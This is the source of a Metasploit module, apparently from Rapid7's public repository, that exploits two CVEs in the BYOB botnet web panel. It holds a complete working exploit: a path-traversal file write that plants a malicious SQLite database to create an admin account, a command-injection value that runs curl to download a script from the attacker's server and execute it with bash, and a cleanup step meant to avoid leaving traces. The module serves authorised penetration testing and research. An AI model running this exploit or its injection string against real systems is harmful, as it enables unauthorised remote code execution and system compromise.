CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/byob_unauth_rce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'sqlite3'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::Remote::HttpServer
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'BYOB Unauthenticated RCE via Arbitrary File Write and Command Injection (CVE-2024-45256, CVE-2024-45257)',
20
'Description' => %q{
21
This module exploits two vulnerabilities in the BYOB (Build Your Own Botnet) web GUI:
22
1. CVE-2024-45256: Unauthenticated arbitrary file write that allows modification of the SQLite database, adding a new admin user.
23
2. CVE-2024-45257: Authenticated command injection in the payload generation page.
24
25
These vulnerabilities remain unpatched.
26
},
27
'Author' => [
28
'chebuya', # Discoverer and PoC
29
'Valentin Lobstein' # Metasploit module
30
],
31
'License' => MSF_LICENSE,
32
'References' => [
33
['CVE', '2024-45256'],
34
['CVE', '2024-45257'],
35
['URL', 'https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/']
36
],
37
'Platform' => %w[unix linux],
38
'Arch' => %w[ARCH_CMD],
39
'Targets' => [
40
[
41
'Unix/Linux Command Shell', {
42
'Platform' => %w[unix linux],
43
'Arch' => ARCH_CMD,
44
'Privileged' => true
45
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
46
}
47
]
48
],
49
'DisclosureDate' => '2024-08-15',
50
'DefaultTarget' => 0,
51
'DefaultOptions' => { 'SRVPORT' => 5000 },
52
'Notes' => {
53
'Stability' => [CRASH_SAFE],
54
'SideEffects' => [IOC_IN_LOGS],
55
'Reliability' => [REPEATABLE_SESSION]
56
}
57
)
58
)
59
60
register_options(
61
[
62
OptString.new('USERNAME', [false, 'Username for new admin', 'admin']),
63
OptString.new('PASSWORD', [false, 'Password for new admin', nil])
64
]
65
)
66
end
67
68
def primer
69
add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) })
70
print_status('Payload is ready at /')
71
end
72
73
def on_request_uri_payload(cli, request)
74
handle_request(cli, request, payload.encoded)
75
end
76
77
def handle_request(cli, request, response_payload)
78
print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")
79
80
case request.uri
81
when '/'
82
print_status("Sending response to #{cli.peerhost} for /")
83
send_response(cli, response_payload)
84
else
85
print_error("Request for unknown resource: #{request.uri}")
86
send_not_found(cli)
87
end
88
end
89
90
def check
91
res = send_request_cgi({
92
'method' => 'GET',
93
'uri' => normalize_uri(target_uri.path),
94
'keep_cookies' => true
95
})
96
97
if res
98
doc = res.get_html_document
99
100
unless doc.at('title')&.text&.include?('Build Your Own Botnet') || doc.at('meta[name="description"]')&.attr('content')&.include?('Build Your Own Botnet')
101
return CheckCode::Safe('The target does not appear to be BYOB.')
102
end
103
else
104
return CheckCode::Unknown('The target did not respond to the initial check.')
105
end
106
107
print_good('The target appears to be BYOB.')
108
109
random_data = Rex::Text.rand_text_alphanumeric(32)
110
random_filename = Rex::Text.rand_text_alphanumeric(16)
111
random_owner = Rex::Text.rand_text_alphanumeric(8)
112
random_module = Rex::Text.rand_text_alphanumeric(6)
113
random_session = Rex::Text.rand_text_alphanumeric(6)
114
115
form_data = {
116
'data' => random_data,
117
'filename' => random_filename,
118
'type' => 'txt',
119
'owner' => random_owner,
120
'module' => random_module,
121
'session' => random_session
122
}
123
124
res = send_request_cgi({
125
'method' => 'POST',
126
'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'),
127
'ctype' => 'application/x-www-form-urlencoded',
128
'vars_post' => form_data,
129
'keep_cookies' => true
130
})
131
132
if res&.code == 500
133
return CheckCode::Vulnerable
134
else
135
case res&.code
136
when 200
137
return CheckCode::Safe
138
when nil
139
return CheckCode::Unknown('The target did not respond.')
140
else
141
return CheckCode::Unknown("The target responded with HTTP status #{res.code}")
142
end
143
end
144
end
145
146
def get_csrf(path)
147
res = send_request_cgi({
148
'method' => 'GET',
149
'uri' => normalize_uri(target_uri.path, path),
150
'keep_cookies' => true
151
})
152
153
fail_with(Failure::UnexpectedReply, 'Could not retrieve CSRF token') unless res
154
155
csrf_token = res.get_html_document.at_xpath("//input[@name='csrf_token']/@value")&.text
156
fail_with(Failure::UnexpectedReply, 'CSRF token not found') if csrf_token.nil?
157
158
csrf_token
159
end
160
161
def register_user(username, password)
162
csrf_token = get_csrf('register')
163
164
res = send_request_cgi({
165
'method' => 'POST',
166
'uri' => normalize_uri(target_uri.path, 'register'),
167
'ctype' => 'application/x-www-form-urlencoded',
168
'vars_post' => {
169
'csrf_token' => csrf_token,
170
'username' => username,
171
'password' => password,
172
'confirm_password' => password,
173
'submit' => 'Sign Up'
174
},
175
'keep_cookies' => true
176
})
177
178
if res.nil?
179
fail_with(Failure::UnexpectedReply, 'No response from the server.')
180
elsif res.code == 302
181
print_good('Registered user!')
182
else
183
fail_with(Failure::UnexpectedReply, "User registration failed: #{res.code}")
184
end
185
end
186
187
def login_user(username, password)
188
csrf_token = get_csrf('login')
189
190
res = send_request_cgi({
191
'method' => 'POST',
192
'uri' => normalize_uri(target_uri.path, 'login'),
193
'ctype' => 'application/x-www-form-urlencoded',
194
'vars_post' => {
195
'csrf_token' => csrf_token,
196
'username' => username,
197
'password' => password,
198
'submit' => 'Log In'
199
},
200
'keep_cookies' => true
201
})
202
203
if res.nil?
204
fail_with(Failure::UnexpectedReply, 'No response from the server.')
205
elsif res.code == 302
206
print_good('Logged in successfully!')
207
else
208
fail_with(Failure::UnexpectedReply, "Login failed: #{res.code}")
209
end
210
end
211
212
def generate_malicious_db
213
mem_db = SQLite3::Database.new(':memory:')
214
215
mem_db.execute <<-SQL
216
CREATE TABLE user (
217
id INTEGER NOT NULL,
218
username VARCHAR(32) NOT NULL,
219
password VARCHAR(60) NOT NULL,
220
joined DATETIME NOT NULL,
221
bots INTEGER,
222
PRIMARY KEY (id),
223
UNIQUE (username)
224
);
225
SQL
226
227
mem_db.execute <<-SQL
228
CREATE TABLE session (
229
id INTEGER NOT NULL,
230
uid VARCHAR(32) NOT NULL,
231
online BOOLEAN NOT NULL,
232
joined DATETIME NOT NULL,
233
last_online DATETIME NOT NULL,
234
public_ip VARCHAR(42),
235
local_ip VARCHAR(42),
236
mac_address VARCHAR(17),
237
username VARCHAR(32),
238
administrator BOOLEAN,
239
platform VARCHAR(5),
240
device VARCHAR(32),
241
architecture VARCHAR(2),
242
latitude FLOAT,
243
longitude FLOAT,
244
new BOOLEAN NOT NULL,
245
owner VARCHAR(120) NOT NULL,
246
PRIMARY KEY (uid),
247
UNIQUE (uid),
248
FOREIGN KEY(owner) REFERENCES user (username)
249
);
250
SQL
251
252
mem_db.execute <<-SQL
253
CREATE TABLE payload (
254
id INTEGER NOT NULL,
255
filename VARCHAR(34) NOT NULL,
256
operating_system VARCHAR(3),
257
architecture VARCHAR(14),
258
created DATETIME NOT NULL,
259
owner VARCHAR(120) NOT NULL,
260
PRIMARY KEY (id),
261
UNIQUE (filename),
262
FOREIGN KEY(owner) REFERENCES user (username)
263
);
264
SQL
265
266
mem_db.execute <<-SQL
267
CREATE TABLE exfiltrated_file (
268
id INTEGER NOT NULL,
269
filename VARCHAR(4096) NOT NULL,
270
session VARCHAR(15) NOT NULL,
271
module VARCHAR(15) NOT NULL,
272
created DATETIME NOT NULL,
273
owner VARCHAR(120) NOT NULL,
274
PRIMARY KEY (id),
275
UNIQUE (filename),
276
FOREIGN KEY(owner) REFERENCES user (username)
277
);
278
SQL
279
280
mem_db.execute <<-SQL
281
CREATE TABLE task (
282
id INTEGER NOT NULL,
283
uid VARCHAR(32) NOT NULL,
284
task TEXT,
285
result TEXT,
286
issued DATETIME NOT NULL,
287
completed DATETIME,
288
session VARCHAR(32) NOT NULL,
289
PRIMARY KEY (id),
290
UNIQUE (uid),
291
FOREIGN KEY(session) REFERENCES session (uid)
292
);
293
SQL
294
295
base64_data = Tempfile.open('database.db') do |file|
296
src_db = SQLite3::Database.new(file.path)
297
backup = SQLite3::Backup.new(src_db, 'main', mem_db, 'main')
298
backup.step(-1)
299
backup.finish
300
301
binary_data = File.binread(file.path)
302
303
Rex::Text.encode_base64(binary_data)
304
end
305
306
base64_data
307
end
308
309
def upload_database_multiple_paths
310
successful_paths = []
311
filepaths = [
312
'/proc/self/cwd/buildyourownbotnet/database.db',
313
'/proc/self/cwd/../buildyourownbotnet/database.db',
314
'/proc/self/cwd/../../../../buildyourownbotnet/database.db',
315
'/proc/self/cwd/instance/database.db',
316
'/proc/self/cwd/../../../../instance/database.db',
317
'/proc/self/cwd/../instance/database.db'
318
]
319
320
filepaths.each do |filepath|
321
form_data = {
322
'data' => @encoded_db,
323
'filename' => filepath,
324
'type' => 'txt',
325
'owner' => Faker::Internet.username,
326
'module' => Faker::App.name.downcase,
327
'session' => Faker::Alphanumeric.alphanumeric(number: 8)
328
}
329
330
res = send_request_cgi(
331
'method' => 'POST',
332
'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'),
333
'ctype' => 'application/x-www-form-urlencoded',
334
'vars_post' => form_data,
335
'keep_cookies' => true
336
)
337
338
successful_paths << filepath if res&.code == 200
339
end
340
341
successful_paths
342
end
343
344
def on_new_session(session)
345
if session.type == 'meterpreter'
346
binary_content = Rex::Text.decode_base64(@encoded_db)
347
348
print_status('Restoring the database via Meterpreter to avoid leaving traces.')
349
350
successful_restore = false
351
352
@successful_paths.each do |remote_path|
353
remote_file = session.fs.file.new(remote_path, 'wb')
354
remote_file.syswrite(binary_content)
355
remote_file.close
356
successful_restore = true
357
end
358
359
if successful_restore
360
print_good('Database has been successfully restored to its clean state.')
361
else
362
print_error('Failed to restore the database on all attempted paths, but proceeding with the exploitation.')
363
end
364
else
365
print_error('This is not a Meterpreter session. Cannot proceed with database reset, but exploitation continues.')
366
end
367
end
368
369
def exploit
370
# Start necessary services and perform initial setup
371
start_service
372
primer
373
374
# Define or generate admin credentials
375
username = datastore['USERNAME'] || 'admin'
376
password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)
377
378
# Generate and upload the malicious SQLite database
379
print_status('Generating malicious SQLite database.')
380
@encoded_db = generate_malicious_db
381
382
@successful_paths = upload_database_multiple_paths
383
384
if @successful_paths.empty?
385
fail_with(Failure::UnexpectedReply, 'Failed to upload the database from all known paths')
386
else
387
print_good("Malicious database uploaded successfully to the following paths: #{@successful_paths.join(', ')}")
388
end
389
390
# Register the new admin user
391
print_status("Registering a new admin user: #{username}:#{password}")
392
register_user(username, password)
393
394
# Log in with the newly created admin user
395
print_status('Logging in with the new admin user.')
396
login_user(username, password)
397
398
# Prepare the malicious payload and inject it via command injection
399
print_status('Injecting payload via command injection.')
400
401
uri = get_uri.gsub(%r{^https?://}, '').chomp('/')
402
random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
403
malicious_filename = "curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename}"
404
payload_data = {
405
'format' => 'exe',
406
'operating_system' => "nix$(#{malicious_filename})",
407
'architecture' => 'amd64'
408
}
409
410
# Send the command injection request
411
send_request_cgi({
412
'method' => 'POST',
413
'uri' => normalize_uri(target_uri.path, 'api', 'payload', 'generate'),
414
'ctype' => 'application/x-www-form-urlencoded',
415
'vars_post' => payload_data,
416
'keep_cookies' => true
417
}, 5)
418
419
# Keep the web server running to maintain the service
420
service.wait
421
end
422
end
423
424